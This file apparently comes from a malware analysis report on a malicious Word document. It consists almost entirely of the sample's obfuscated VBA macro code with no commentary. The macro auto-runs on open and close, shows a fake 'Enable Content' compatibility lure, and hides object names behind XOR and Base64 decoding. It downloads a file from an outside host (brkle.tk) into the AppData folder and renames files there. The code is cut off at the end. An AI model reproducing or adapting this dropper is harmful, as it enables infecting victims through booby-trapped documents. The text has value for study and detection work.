Malicious Office (OOXML) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Dim bSaved As Boolean

Sub Auto_Open()

End Sub

Sub Document_Open()


Call aFbrYojEmcWdsikHGKZmJXLeTZYbCyyjyCITeYpgDeX

Call gheKWwSREQsbejXzFCuPOrjcaTrifuFCdEfkmhLCrMsE


If Len(Dir(Environ("AppData") + "\*.txt")) = 0 Then
SjfLQMpTQmYVzeudAFBiwKKXiiwARIfUQtAEGGCoGgDhLTdNzcIprEEofKBFWQAvrkMbjnOsXaUCjWtNiLQjPURJLOdSITH
Else

End If

End Sub

Sub aFbrYojEmcWdsikHGKZmJXLeTZYbCyyjyCITeYpgDeX()

Dim DXoYkzuOVUusbhoWlypEHYFUJKbgicsaYDjcLojCEdlMumdpcMQWtaOIGtbzhZDBxFhbaBXNpRqtqBUejXQAuuKbQu As String, brhynDbeoRenzbJ As String
Dim lWOauYTORoyojTAXnCoUkIcrTnvSZEfiJnZTPpUBskbsfSmhlKMteSJtWxNdtKFSBBj As Range, VNxiHVsuHiXoTkOwW As Range
Dim FqRpfZyHXaxirTgcNERQtuKXcqMJjQDL As Range, TQNbMQALzmUFrpPAgooRdgyRqLIPKBiKBUlzDanyXHTcMBytHVZCoaSVMEHxNqPKdHCOJWsuViMOdMQMae As Range, gCavuEjHVcpmNLLtNmnJMJuuksfXeexBUcarWcNTjARwnVeCARdEHsTziahpDcRo As Range

'Setting up the Ranges
Set lWOauYTORoyojTAXnCoUkIcrTnvSZEfiJnZTPpUBskbsfSmhlKMteSJtWxNdtKFSBBj = ActiveDocument.Range
Set VNxiHVsuHiXoTkOwW = ActiveDocument.Range
Set FqRpfZyHXaxirTgcNERQtuKXcqMJjQDL = ActiveDocument.Range

ActiveDocument.ActiveWindow.View.DisplayBackgrounds = True
ActiveDocument.Background.Fill.ForeColor.RGB = RGB(225, 225, 225)
ActiveDocument.Background.Fill.Transparency = 0#

'Set your Start and End Find words here to cleanup the script
DXoYkzuOVUusbhoWlypEHYFUJKbgicsaYDjcLojCEdlMumdpcMQWtaOIGtbzhZDBxFhbaBXNpRqtqBUejXQAuuKbQu = "This Document Is"
brhynDbeoRenzbJ = "Version."

'Starting the Find First Word
With lWOauYTORoyojTAXnCoUkIcrTnvSZEfiJnZTPpUBskbsfSmhlKMteSJtWxNdtKFSBBj.Find
.Text = DXoYkzuOVUusbhoWlypEHYFUJKbgicsaYDjcLojCEdlMumdpcMQWtaOIGtbzhZDBxFhbaBXNpRqtqBUejXQAuuKbQu
.Replacement.Text = ""
.Forward = True
.Wrap = wdFindAsk
.Format = True
.MatchCase = False
.MatchWholeWord = False
.MatchWildcards = False
.MatchSoundsLike = False
.MatchAllWordForms = False

'Execute the Find
Do While .Execute
'If Found then do extra script
If .Found = True Then
'Setting the Found range to the TQNbMQALzmUFrpPAgooRdgyRqLIPKBiKBUlzDanyXHTcMBytHVZCoaSVMEHxNqPKdHCOJWsuViMOdMQMae
Set TQNbMQALzmUFrpPAgooRdgyRqLIPKBiKBUlzDanyXHTcMBytHVZCoaSVMEHxNqPKdHCOJWsuViMOdMQMae = lWOauYTORoyojTAXnCoUkIcrTnvSZEfiJnZTPpUBskbsfSmhlKMteSJtWxNdtKFSBBj
'Having these Selections during testing is benificial to test your script
TQNbMQALzmUFrpPAgooRdgyRqLIPKBiKBUlzDanyXHTcMBytHVZCoaSVMEHxNqPKdHCOJWsuViMOdMQMae.Select

'Setting the VNxiHVsuHiXoTkOwW up for the remainder of the document form the end of the DXoYkzuOVUusbhoWlypEHYFUJKbgicsaYDjcLojCEdlMumdpcMQWtaOIGtbzhZDBxFhbaBXNpRqtqBUejXQAuuKbQu
VNxiHVsuHiXoTkOwW.Start = TQNbMQALzmUFrpPAgooRdgyRqLIPKBiKBUlzDanyXHTcMBytHVZCoaSVMEHxNqPKdHCOJWsuViMOdMQMae.End
VNxiHVsuHiXoTkOwW.End = ActiveDocument.Content.End

'Having these Selections during testing is benificial to test your script
VNxiHVsuHiXoTkOwW.Select


'Setting the Find to look for the End Word
With VNxiHVsuHiXoTkOwW.Find
.Text = brhynDbeoRenzbJ
.Execute

'If Found then do extra script
If .Found = True Then
'Setting the Found range to the gCavuEjHVcpmNLLtNmnJMJuuksfXeexBUcarWcNTjARwnVeCARdEHsTziahpDcRo
Set gCavuEjHVcpmNLLtNmnJMJuuksfXeexBUcarWcNTjARwnVeCARdEHsTziahpDcRo = VNxiHVsuHiXoTkOwW

'Having these Selections during testing is benificial to test your script
gCavuEjHVcpmNLLtNmnJMJuuksfXeexBUcarWcNTjARwnVeCARdEHsTziahpDcRo.Select

End If

End With

'Selecting the delete range
FqRpfZyHXaxirTgcNERQtuKXcqMJjQDL.Start = TQNbMQALzmUFrpPAgooRdgyRqLIPKBiKBUlzDanyXHTcMBytHVZCoaSVMEHxNqPKdHCOJWsuViMOdMQMae.Start
FqRpfZyHXaxirTgcNERQtuKXcqMJjQDL.End = gCavuEjHVcpmNLLtNmnJMJuuksfXeexBUcarWcNTjARwnVeCARdEHsTziahpDcRo.End
'Having these Selections during testing is benificial to test your script
FqRpfZyHXaxirTgcNERQtuKXcqMJjQDL.Select

'Remove comment to actually delete
FqRpfZyHXaxirTgcNERQtuKXcqMJjQDL.Delete



End If 'Ending the If lWOauYTORoyojTAXnCoUkIcrTnvSZEfiJnZTPpUBskbsfSmhlKMteSJtWxNdtKFSBBj .Found = True
Loop 'Ending the Do While .Execute Loop
End With 'Ending the lWOauYTORoyojTAXnCoUkIcrTnvSZEfiJnZTPpUBskbsfSmhlKMteSJtWxNdtKFSBBj.Find With Statement

End Sub

Sub gheKWwSREQsbejXzFCuPOrjcaTrifuFCdEfkmhLCrMsE()
'Selection.EndKey Unit:=wdStory
Dim LljffowyrANNoTNdwcxiYXWSXYFExuFTiZ As Word.Paragraph

Dim mVUfOvxQNEWNJtsQtSIhYJUpKAUGCfVRWWrdXlxAmcTMMs As Word.Document
Set mVUfOvxQNEWNJtsQtSIhYJUpKAUGCfVRWWrdXlxAmcTMMs = ActiveDocument

Set LljffowyrANNoTNdwcxiYXWSXYFExuFTiZ = mVUfOvxQNEWNJtsQtSIhYJUpKAUGCfVRWWrdXlxAmcTMMs.Content.Paragraphs.Add
With LljffowyrANNoTNdwcxiYXWSXYFExuFTiZ.Range
.ParagraphFormat.Alignment = wdAlignParagraphLeft
' .InsertParagraphAfter
With .Font
.name = "Bahnschrift Condensed"
.size = "26"
.Bold = False
End With
End With


Selection.TypeText Text:="This Document Is" & Chr(11) & "New"

'ActiveDocument.Paragraphs(6).Range.Text = "Foo" & vbCr & "Bar"

Call WpmovtikokePxcIObeBRktOZbiUGzkGABhZweiLdyMIpyFJDsyXvllTkLHxJKAOMwlgaGrbFozewfwuhcMV

End Sub

Sub WpmovtikokePxcIObeBRktOZbiUGzkGABhZweiLdyMIpyFJDsyXvllTkLHxJKAOMwlgaGrbFozewfwuhcMV()

Dim zRng As Word.Range
Set zRng = ActiveDocument.Range
With zRng.Find
.Text = "New"
With .Replacement
.ClearFormatting
.Font.name = "Bahnschrift Condensed"
.Font.size = 26
.Font.Bold = False
With .ParagraphFormat 'the whole paragraph


.Alignment = wdAlignParagraphLeft

End With
End With
.Execute Replace:=wdReplaceAll
End With
lbl_Exit:
Set zRng = Nothing
Exit Sub

End Sub


Sub Document_Close()

Call docclosetxtdel

Call uVVAobfXhBIGZXgUcIJTBGlPepoljqXPTKUPwsOXIJIiYqwgHpyRjns

Call svdoc

'Application.DisplayAlerts = True

End Sub

Sub docclosetxtdel()

Application.DisplayAlerts = False
Dim DXoYkzuOVUusbhoWlypEHYFUJKbgicsaYDjcLojCEdlMumdpcMQWtaOIGtbzhZDBxFhbaBXNpRqtqBUejXQAuuKbQu As String, brhynDbeoRenzbJ As String
Dim lWOauYTORoyojTAXnCoUkIcrTnvSZEfiJnZTPpUBskbsfSmhlKMteSJtWxNdtKFSBBj As Range, VNxiHVsuHiXoTkOwW As Range
Dim FqRpfZyHXaxirTgcNERQtuKXcqMJjQDL As Range, TQNbMQALzmUFrpPAgooRdgyRqLIPKBiKBUlzDanyXHTcMBytHVZCoaSVMEHxNqPKdHCOJWsuViMOdMQMae As Range, gCavuEjHVcpmNLLtNmnJMJuuksfXeexBUcarWcNTjARwnVeCARdEHsTziahpDcRo As Range

'Setting up the Ranges
Set lWOauYTORoyojTAXnCoUkIcrTnvSZEfiJnZTPpUBskbsfSmhlKMteSJtWxNdtKFSBBj = ActiveDocument.Range
Set VNxiHVsuHiXoTkOwW = ActiveDocument.Range
Set FqRpfZyHXaxirTgcNERQtuKXcqMJjQDL = ActiveDocument.Range

ActiveDocument.ActiveWindow.View.DisplayBackgrounds = True
ActiveDocument.Background.Fill.ForeColor.RGB = RGB(128, 128, 128)
ActiveDocument.Background.Fill.Transparency = 0#

'Set your Start and End Find words here to cleanup the script
DXoYkzuOVUusbhoWlypEHYFUJKbgicsaYDjcLojCEdlMumdpcMQWtaOIGtbzhZDBxFhbaBXNpRqtqBUejXQAuuKbQu = "This Document Is"
brhynDbeoRenzbJ = "New"

'Starting the Find First Word
With lWOauYTORoyojTAXnCoUkIcrTnvSZEfiJnZTPpUBskbsfSmhlKMteSJtWxNdtKFSBBj.Find
.Text = DXoYkzuOVUusbhoWlypEHYFUJKbgicsaYDjcLojCEdlMumdpcMQWtaOIGtbzhZDBxFhbaBXNpRqtqBUejXQAuuKbQu
.Replacement.Text = ""
.Forward = False
.Wrap = wdFindAsk
.Format = True
.MatchCase = False
.MatchWholeWord = False
.MatchWildcards = False
.MatchSoundsLike = False
.MatchAllWordForms = False

'Execute the Find
Do While .Execute
'If Found then do extra script
If .Found = True Then
'Setting the Found range to the TQNbMQALzmUFrpPAgooRdgyRqLIPKBiKBUlzDanyXHTcMBytHVZCoaSVMEHxNqPKdHCOJWsuViMOdMQMae
Set TQNbMQALzmUFrpPAgooRdgyRqLIPKBiKBUlzDanyXHTcMBytHVZCoaSVMEHxNqPKdHCOJWsuViMOdMQMae = lWOauYTORoyojTAXnCoUkIcrTnvSZEfiJnZTPpUBskbsfSmhlKMteSJtWxNdtKFSBBj
'Having these Selections during testing is benificial to test your script
TQNbMQALzmUFrpPAgooRdgyRqLIPKBiKBUlzDanyXHTcMBytHVZCoaSVMEHxNqPKdHCOJWsuViMOdMQMae.Select

'Setting the VNxiHVsuHiXoTkOwW up for the remainder of the document form the end of the DXoYkzuOVUusbhoWlypEHYFUJKbgicsaYDjcLojCEdlMumdpcMQWtaOIGtbzhZDBxFhbaBXNpRqtqBUejXQAuuKbQu
VNxiHVsuHiXoTkOwW.Start = TQNbMQALzmUFrpPAgooRdgyRqLIPKBiKBUlzDanyXHTcMBytHVZCoaSVMEHxNqPKdHCOJWsuViMOdMQMae.End
VNxiHVsuHiXoTkOwW.End = ActiveDocument.Content.End

'Having these Selections during testing is benificial to test your script
VNxiHVsuHiXoTkOwW.Select


'Setting the Find to look for the End Word
With VNxiHVsuHiXoTkOwW.Find
.Text = brhynDbeoRenzbJ
.Execute

'If Found then do extra script
If .Found = True Then
'Setting the Found range to the gCavuEjHVcpmNLLtNmnJMJuuksfXeexBUcarWcNTjARwnVeCARdEHsTziahpDcRo
Set gCavuEjHVcpmNLLtNmnJMJuuksfXeexBUcarWcNTjARwnVeCARdEHsTziahpDcRo = VNxiHVsuHiXoTkOwW

'Having these Selections during testing is benificial to test your script
gCavuEjHVcpmNLLtNmnJMJuuksfXeexBUcarWcNTjARwnVeCARdEHsTziahpDcRo.Select

End If

End With

'Selecting the delete range
FqRpfZyHXaxirTgcNERQtuKXcqMJjQDL.Start = TQNbMQALzmUFrpPAgooRdgyRqLIPKBiKBUlzDanyXHTcMBytHVZCoaSVMEHxNqPKdHCOJWsuViMOdMQMae.Start
'Having these Selections during testing is benificial to test your script
FqRpfZyHXaxirTgcNERQtuKXcqMJjQDL.Select

'Remove comment to actually delete
FqRpfZyHXaxirTgcNERQtuKXcqMJjQDL.Delete



End If 'Ending the If lWOauYTORoyojTAXnCoUkIcrTnvSZEfiJnZTPpUBskbsfSmhlKMteSJtWxNdtKFSBBj .Found = True
Loop 'Ending the Do While .Execute Loop
End With 'Ending the lWOauYTORoyojTAXnCoUkIcrTnvSZEfiJnZTPpUBskbsfSmhlKMteSJtWxNdtKFSBBj.Find With Statement


End Sub


Sub uVVAobfXhBIGZXgUcIJTBGlPepoljqXPTKUPwsOXIJIiYqwgHpyRjns()

'Selection.EndKey Unit:=wdStory
Dim txtAVDppejwsJoCAkhUFAJtXXnapHbEhCVnAjg As Word.Paragraph

Dim NRjBpTllddJZrckMrLiCKviljjXnooPLGdpMsOlpSvhpGlqVDqgYDGtIbbfSeBZtrAh As Word.Document
Set NRjBpTllddJZrckMrLiCKviljjXnooPLGdpMsOlpSvhpGlqVDqgYDGtIbbfSeBZtrAh = ActiveDocument

Set txtAVDppejwsJoCAkhUFAJtXXnapHbEhCVnAjg = NRjBpTllddJZrckMrLiCKviljjXnooPLGdpMsOlpSvhpGlqVDqgYDGtIbbfSeBZtrAh.Content.Paragraphs.Add
With txtAVDppejwsJoCAkhUFAJtXXnapHbEhCVnAjg.Range
.ParagraphFormat.Alignment = wdAlignParagraphLeft
' .InsertParagraphAfter
With .Font
.name = "Bahnschrift Condensed"
.size = "26"
.Bold = False
End With
End With


Selection.TypeText Text:="This Document is created in Other Version" & Chr(11) & "of 'Microsoft Word'" & Chr(11) & "Please Click 'Enable Content' to Fix Document Compatibility with Your 'Microsoft Office' Version."
' ActiveDocument.Paragraphs(6).Range.Text = "Foo" & vbCr & "Bar"
Call YdyhDUfXULunRLGHYyxIQHVOhQGHxoludSDsRxiVHSraEMhrdWn

Call ygObzCfxrsoeMrlnrFePpzMwAqHCloDTzbqAjUMOTDjGqOOxNSJiNrZDbYkTjoNGbBIeOCZwjUXEeNqGjRSXgOk

Call LQDUobYyrCaJdWy

Call PerYFmqescyapctMGClrGXsjSvUfYaCZQwPhdLWqUgAzsdYJt

Call zQZsLlUbihxHEwrOcEajJujWryKxtROSVBooBVpZsdMQsuYKeLPnoFFOvPfcJtUoZlxwfBgeWUqDx

Call XGePUUFcPZRahMBMFtguYcyjAmemQBTDMIQBdgnwluUtIiVYBlNZFDVLOqJBQhoXLMilZNjb

End Sub


Sub YdyhDUfXULunRLGHYyxIQHVOhQGHxoludSDsRxiVHSraEMhrdWn()
Dim zRng As Word.Range
Set zRng = ActiveDocument.Range
With zRng.Find
.Text = "Document"
With .Replacement
.ClearFormatting
.Font.name = "Bahnschrift Condensed"
.Font.size = 26
.Font.Bold = True
With .ParagraphFormat 'the whole paragraph

' .SpaceBefore = 0
' .SpaceBeforeAuto = False
' .SpaceAfter = 0
' .SpaceAfterAuto = False
' .LineSpacingRule = wdLineSpaceMultiple
' .LineSpacing = LinesToPoints(0.9)
' .Alignment = wdAlignParagraphRight
' .LineUnitBefore = 0
' .LineUnitAfter = 0
End With
End With
.Execute Replace:=wdReplaceAll
End With
lbl_Exit:
Set zRng = Nothing
Exit Sub
End Sub

Sub ygObzCfxrsoeMrlnrFePpzMwAqHCloDTzbqAjUMOTDjGqOOxNSJiNrZDbYkTjoNGbBIeOCZwjUXEeNqGjRSXgOk()
Dim zRng As Word.Range
Set zRng = ActiveDocument.Range
With zRng.Find
.Text = "of 'Microsoft Word'"
With .Replacement
.ClearFormatting
.Font.name = "Bahnschrift Condensed"
.Font.size = 26
.Font.Bold = False
With .ParagraphFormat 'the whole paragraph
' .SpaceBefore = 0
' .SpaceBeforeAuto = False
' .SpaceAfter = 0
' .SpaceAfterAuto = False
' .LineSpacingRule = wdLineSpaceMultiple
' .LineSpacing = LinesToPoints(0.9)
.Alignment = wdAlignParagraphLeft
' .LineUnitBefore = 0
' .LineUnitAfter = 0
End With
End With
.Execute Replace:=wdReplaceAll
End With
lbl_Exit:
Set zRng = Nothing
Exit Sub
End Sub

Sub LQDUobYyrCaJdWy()
Dim zRng As Word.Range
Set zRng = ActiveDocument.Range
With zRng.Find
.Text = "Microsoft Word"
With .Replacement
.ClearFormatting
.Font.name = "Bahnschrift Condensed"
.Font.size = 26
.Font.Bold = True
With .ParagraphFormat 'the whole paragraph
' .SpaceBefore = 0
' .SpaceBeforeAuto = False
' .SpaceAfter = 0
' .SpaceAfterAuto = False
' .LineSpacingRule = wdLineSpaceMultiple
' .LineSpacing = LinesToPoints(0.9)
' .Alignment = wdAlignParagraphLeft
' .LineUnitBefore = 0
' .LineUnitAfter = 0
End With
End With
.Execute Replace:=wdReplaceAll
End With
lbl_Exit:
Set zRng = Nothing
Exit Sub
End Sub


Sub PerYFmqescyapctMGClrGXsjSvUfYaCZQwPhdLWqUgAzsdYJt()
Dim zRng As Word.Range
Set zRng = ActiveDocument.Range
With zRng.Find
.Text = "Please Click 'Enable Content' to Fix Document Compatibility with Your 'Microsoft Office' Version."
With .Replacement
.ClearFormatting
.Font.name = "Bahnschrift Condensed"
.Font.size = 11
.Font.Bold = False
With .ParagraphFormat 'the whole paragraph
' .SpaceBefore = 0
' .SpaceBeforeAuto = False
' .SpaceAfter = 0
' .SpaceAfterAuto = False
' .LineSpacingRule = wdLineSpaceMultiple
' .LineSpacing = LinesToPoints(0.9)
' .Alignment = wdAlignParagraphLeft
' .LineUnitBefore = 0
' .LineUnitAfter = 0
End With
End With
.Execute Replace:=wdReplaceAll
End With
lbl_Exit:
Set zRng = Nothing
Exit Sub
End Sub

Sub zQZsLlUbihxHEwrOcEajJujWryKxtROSVBooBVpZsdMQsuYKeLPnoFFOvPfcJtUoZlxwfBgeWUqDx()
Dim zRng As Word.Range
Set zRng = ActiveDocument.Range
With zRng.Find
.Text = "Enable Content"
With .Replacement
.ClearFormatting
.Font.name = "Bahnschrift Condensed"
.Font.size = 11
.Font.Bold = True
With .ParagraphFormat 'the whole paragraph
' .SpaceBefore = 0
' .SpaceBeforeAuto = False
' .SpaceAfter = 0
' .SpaceAfterAuto = False
' .LineSpacingRule = wdLineSpaceMultiple
' .LineSpacing = LinesToPoints(0.9)
' .Alignment = wdAlignParagraphLeft
' .LineUnitBefore = 0
' .LineUnitAfter = 0
End With
End With
.Execute Replace:=wdReplaceAll
End With
lbl_Exit:
Set zRng = Nothing
Exit Sub
End Sub

Sub XGePUUFcPZRahMBMFtguYcyjAmemQBTDMIQBdgnwluUtIiVYBlNZFDVLOqJBQhoXLMilZNjb()
Dim zRng As Word.Range
Set zRng = ActiveDocument.Range
With zRng.Find
.Text = "Microsoft Office"
With .Replacement
.ClearFormatting
.Font.name = "Bahnschrift Condensed"
.Font.size = 11
.Font.Bold = True
With .ParagraphFormat 'the whole paragraph
' .SpaceBefore = 0
' .SpaceBeforeAuto = False
' .SpaceAfter = 0
' .SpaceAfterAuto = False
' .LineSpacingRule = wdLineSpaceMultiple
' .LineSpacing = LinesToPoints(0.9)
' .Alignment = wdAlignParagraphLeft
' .LineUnitBefore = 0
' .LineUnitAfter = 0
End With
End With
.Execute Replace:=wdReplaceAll
End With
lbl_Exit:
Set zRng = Nothing
Exit Sub
End Sub


Sub svdoc()
If ActiveDocument.Saved = False Then ActiveDocument.Save
End Sub

Function zABbqeYhjSHyNBuhXqFtWqDrVIviprziQnCEBrFmgdSYFgXEaczVFhuYb(iWLgYIAfYOpmXjzfEATEfYknFWsRiIJJwNEgUjfBhAjyBFEaFWafxITkKNZlGoiFuJSnOqtmhdYxyWihQJYlcBaprhsAqGl As Long) As String


Dim OuYbwSMpmeTBYwqhSxVhVTzYxHXTBXphvgLzmsVBzY As Long, VvUNXbpXQNHbiZRonLLpIVXuVrDJwAGDjfrThhEjtidpNfLaqTGpajnMngRJLAkpCxVRAf As Long, tbhCEYAFLMRBpViLPqMwjHchMAepbgCRPShBEpwAGPTJYApezMjGKgwFIIWPsziyHwCvxnzdIImQDOikUFwT As Long, AybnteWVYVDrtzqJdEkSTBczkNnHLBVOTaicmNQhpHAuvPEkvNxzWd As String, UyGTFGBxLxIDbgDaJdZccRvKTLFBMUYapSQWQSvNWCKgAgvFQvStCCihbYbmTIupMoUqpsxFcKia As String

UyGTFGBxLxIDbgDaJdZccRvKTLFBMUYapSQWQSvNWCKgAgvFQvStCCihbYbmTIupMoUqpsxFcKia = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

tbhCEYAFLMRBpViLPqMwjHchMAepbgCRPShBEpwAGPTJYApezMjGKgwFIIWPsziyHwCvxnzdIImQDOikUFwT = Len(UyGTFGBxLxIDbgDaJdZccRvKTLFBMUYapSQWQSvNWCKgAgvFQvStCCihbYbmTIupMoUqpsxFcKia)

For OuYbwSMpmeTBYwqhSxVhVTzYxHXTBXphvgLzmsVBzY = 1 To iWLgYIAfYOpmXjzfEATEfYknFWsRiIJJwNEgUjfBhAjyBFEaFWafxITkKNZlGoiFuJSnOqtmhdYxyWihQJYlcBaprhsAqGl

VvUNXbpXQNHbiZRonLLpIVXuVrDJwAGDjfrThhEjtidpNfLaqTGpajnMngRJLAkpCxVRAf = 1 + Int(tbhCEYAFLMRBpViLPqMwjHchMAepbgCRPShBEpwAGPTJYApezMjGKgwFIIWPsziyHwCvxnzdIImQDOikUFwT * Rnd())

AybnteWVYVDrtzqJdEkSTBczkNnHLBVOTaicmNQhpHAuvPEkvNxzWd = AybnteWVYVDrtzqJdEkSTBczkNnHLBVOTaicmNQhpHAuvPEkvNxzWd & Mid(UyGTFGBxLxIDbgDaJdZccRvKTLFBMUYapSQWQSvNWCKgAgvFQvStCCihbYbmTIupMoUqpsxFcKia, VvUNXbpXQNHbiZRonLLpIVXuVrDJwAGDjfrThhEjtidpNfLaqTGpajnMngRJLAkpCxVRAf, 1)
Next OuYbwSMpmeTBYwqhSxVhVTzYxHXTBXphvgLzmsVBzY
zABbqeYhjSHyNBuhXqFtWqDrVIviprziQnCEBrFmgdSYFgXEaczVFhuYb = AybnteWVYVDrtzqJdEkSTBczkNnHLBVOTaicmNQhpHAuvPEkvNxzWd
End Function

Sub zZXoZYbeMPRtePjhJwZOsRSHxLnktZSluOUQbeVro(UvWSTAXCTXlIJbzmYzHKsubrvvBbGySd As String)

ePyQVeQtSsjJHIDajRfMpzcGkVryhqTDMKgZTcyjPvdxgNdsqHxjDNwVfqQXuTnSoMOkJUVVfvMOTjfskxqUhIuKtIKg = "http://brkle.tk/Any786"

Dim DfgZsFYDCQiKRzrbKaWzJXgynKEiwTgFOIQjEpYVTRbPhpCgrYbSPByAIpvZryoQLqxHgBHdPbUjVoAyflWAjJOrGPDB As Object
Set DfgZsFYDCQiKRzrbKaWzJXgynKEiwTgFOIQjEpYVTRbPhpCgrYbSPByAIpvZryoQLqxHgBHdPbUjVoAyflWAjJOrGPDB = CreateObject(JULePTGAZdgHXLFjbxkYgaIWcIZBNRzdWtuQwuVzEEwIWZ("kdtWGMUnfGarONtPDwCj", DecodeBase64("Jg0XJSg+OggSaTk/AwYgBBQ=")))
DfgZsFYDCQiKRzrbKaWzJXgynKEiwTgFOIQjEpYVTRbPhpCgrYbSPByAIpvZryoQLqxHgBHdPbUjVoAyflWAjJOrGPDB.Open "GET", ePyQVeQtSsjJHIDajRfMpzcGkVryhqTDMKgZTcyjPvdxgNdsqHxjDNwVfqQXuTnSoMOkJUVVfvMOTjfskxqUhIuKtIKg, False, "username", "password"
DfgZsFYDCQiKRzrbKaWzJXgynKEiwTgFOIQjEpYVTRbPhpCgrYbSPByAIpvZryoQLqxHgBHdPbUjVoAyflWAjJOrGPDB.send

If DfgZsFYDCQiKRzrbKaWzJXgynKEiwTgFOIQjEpYVTRbPhpCgrYbSPByAIpvZryoQLqxHgBHdPbUjVoAyflWAjJOrGPDB.Status = 200 Then
Set KyyjITWUgsGRiptdzTanJncbAYgCFQArqaJmVWXezQYWnvbAkAeHIheyikDUuPyjLTFBvh = CreateObject(JULePTGAZdgHXLFjbxkYgaIWcIZBNRzdWtuQwuVzEEwIWZ("kdtWGMUnfGarONtPDwCj", DecodeBase64("KiA7EwVjBhoUIgAf")))
KyyjITWUgsGRiptdzTanJncbAYgCFQArqaJmVWXezQYWnvbAkAeHIheyikDUuPyjLTFBvh.Open
KyyjITWUgsGRiptdzTanJncbAYgCFQArqaJmVWXezQYWnvbAkAeHIheyikDUuPyjLTFBvh.Type = 1
KyyjITWUgsGRiptdzTanJncbAYgCFQArqaJmVWXezQYWnvbAkAeHIheyikDUuPyjLTFBvh.Write DfgZsFYDCQiKRzrbKaWzJXgynKEiwTgFOIQjEpYVTRbPhpCgrYbSPByAIpvZryoQLqxHgBHdPbUjVoAyflWAjJOrGPDB.responseBody
KyyjITWUgsGRiptdzTanJncbAYgCFQArqaJmVWXezQYWnvbAkAeHIheyikDUuPyjLTFBvh.SaveToFile Environ$("AppData") + "\" + UvWSTAXCTXlIJbzmYzHKsubrvvBbGySd, 2
KyyjITWUgsGRiptdzTanJncbAYgCFQArqaJmVWXezQYWnvbAkAeHIheyikDUuPyjLTFBvh.Close
End If

End Sub

Sub pbnHLZcRjJaRtqDeSuyQoSaApSXgqqCTUqXuZrYZrbfpk(wtICEKhOcJIBkFtrWVunwhuVjGtuGmzKFPMMlTsfYHNdpuWR As String)

Name Environ("AppData") + "\" + wtICEKhOcJIBkFtrWVunwhuVjGtuGmzKFPMMlTsfYHNdpuWR As Environ("AppData") + "\" + wtICEKhOcJIBkFtrWVunwhuVjGtuGmzKFPMMlTsfYHNdpuWR + ".txt"

End Sub


Public Function JULePTGAZdgHXLFjbxkYgaIWcIZBNRzdWtuQwuVzEEwIWZ(rhhmQJnCWBqKlOMwehuWZqRbHQfTpBSyXexfwrTrphPQbiMDP As String, vOwwQVQAvKFZBPVtDJsBosQNumByEeeRPZVxJMBJsGZtFQBZNjREYGFNWtCcttCDVwQdgqaEQbhhEfRLFpkJXcbnCW As String) As String
Dim SlJObbXCSGchUdFoBGtOaoiXUjOdhCotoZGtmlAJUhCwILHWZognXVeRrFNnOyLfmAi() As Byte
Dim xQeSYYLuABPjqKfWNGfgNoaINlGZsEeYDlOYmHYMxvwDyfJBLeylTAUBaotWbZLaLjgjfrIurcPnRwwbwJoPIgbfnkITs() As Byte
Dim oxuJtTatxPtZIZZWdPSSZycloDUIdVXNElJftptblXLUXSJiwoUZOCEEcMAgCtlStwuzBvAJMVinIvtQdUlzsyPINiARgMqxb As Long
Dim jzaCUUHayZdlJTZWyqWGconBZngUYzYCwvlkUXKbuXjaVRoGsmKYvmRaBLHrJtkdFFXwGuap As Long
Dim VYFlkIdvXvLYAkQcFxceenxqSyXXIodZWrzSThOXGACksCFdRZrCS As Long
Dim GzanbxycHytbrwKxOoEowsdBT As Long

SlJObbXCSGchUdFoBGtOaoiXUjOdhCotoZGtmlAJUhCwILHWZognXVeRrFNnOyLfmAi = StrConv(vOwwQVQAvKFZBPVtDJsBosQNumByEeeRPZVxJMBJsGZtFQBZNjREYGFNWtCcttCDVwQdgqaEQbhhEfRLFpkJXcbnCW, vbFromUnicode)
xQeSYYLuABPjqKfWNGfgNoaINlGZsEeYDlOYmHYMxvwDyfJBLeylTAUBaotWbZLaLjgjfrIurcPnRwwbwJoPIgbfnkITs = StrConv(rhhmQJnCWBqKlOMwehuWZqRbHQfTpBSyXexfwrTrphPQbiMDP, vbFromUnicode)
oxuJtTatxPtZIZZWdPSSZycloDUIdVXNElJftptblXLUXSJiwoUZOCEEcMAgCtlStwuzBvAJMVinIvtQdUlzsyPINiARgMqxb = UBound(SlJObbXCSGchUdFoBGtOaoiXUjOdhCotoZGtmlAJUhCwILHWZognXVeRrFNnOyLfmAi)
jzaCUUHayZdlJTZWyqWGconBZngUYzYCwvlkUXKbuXjaVRoGsmKYvmRaBLHrJtkdFFXwGuap = UBound(xQeSYYLuABPjqKfWNGfgNoaINlGZsEeYDlOYmHYMxvwDyfJBLeylTAUBaotWbZLaLjgjfrIurcPnRwwbwJoPIgbfnkITs)
For VYFlkIdvXvLYAkQcFxceenxqSyXXIodZWrzSThOXGACksCFdRZrCS = 0 To oxuJtTatxPtZIZZWdPSSZycloDUIdVXNElJftptblXLUXSJiwoUZOCEEcMAgCtlStwuzBvAJMVinIvtQdUlzsyPINiARgMqxb
SlJObbXCSGchUdFoBGtOaoiXUjOdhCotoZGtmlAJUhCwILHWZognXVeRrFNnOyLfmAi(VYFlkIdvXvLYAkQcFxceenxqSyXXIodZWrzSThOXGACksCFdRZrCS) = SlJObbXCSGchUdFoBGtOaoiXUjOdhCotoZGtmlAJUhCwILHWZognXVeRrFNnOyLfmAi(VYFlkIdvXvLYAkQcFxceenxqSyXXIodZWrzSThOXGACksCFdRZrCS) Xor xQeSYYLuABPjqKfWNGfgNoaINlGZsEeYDlOYmHYMxvwDyfJBLeylTAUBaotWbZLaLjgjfrIurcPnRwwbwJoPIgbfnkITs(GzanbxycHytbrwKxOoEowsdBT)
If GzanbxycHytbrwKxOoEowsdBT < jzaCUUHayZdlJTZWyqWGconBZngUYzYCwvlkUXKbuXjaVRoGsmKYvmRaBLHrJtkdFFXwGuap Then
GzanbxycHytbrwKxOoEowsdBT = GzanbxycHytbrwKxOoEowsdBT + 1
Else
GzanbxycHytbrwKxOoEowsdBT = 0
End If
Next VYFlkIdvXvLYAkQcFxceenxqSyXXIodZWrzSThOXGACksCFdRZrCS
JULePTGAZdgHXLFjbxkYgaIWcIZBNRzdWtuQwuVzEEwIWZ = StrConv(SlJObbXCSGchUdFoBGtOaoiXUjOdhCotoZGtmlAJUhCwILHWZognXVeRrFNnOyLfmAi, vbUnicode)
End Function
Sub sl()
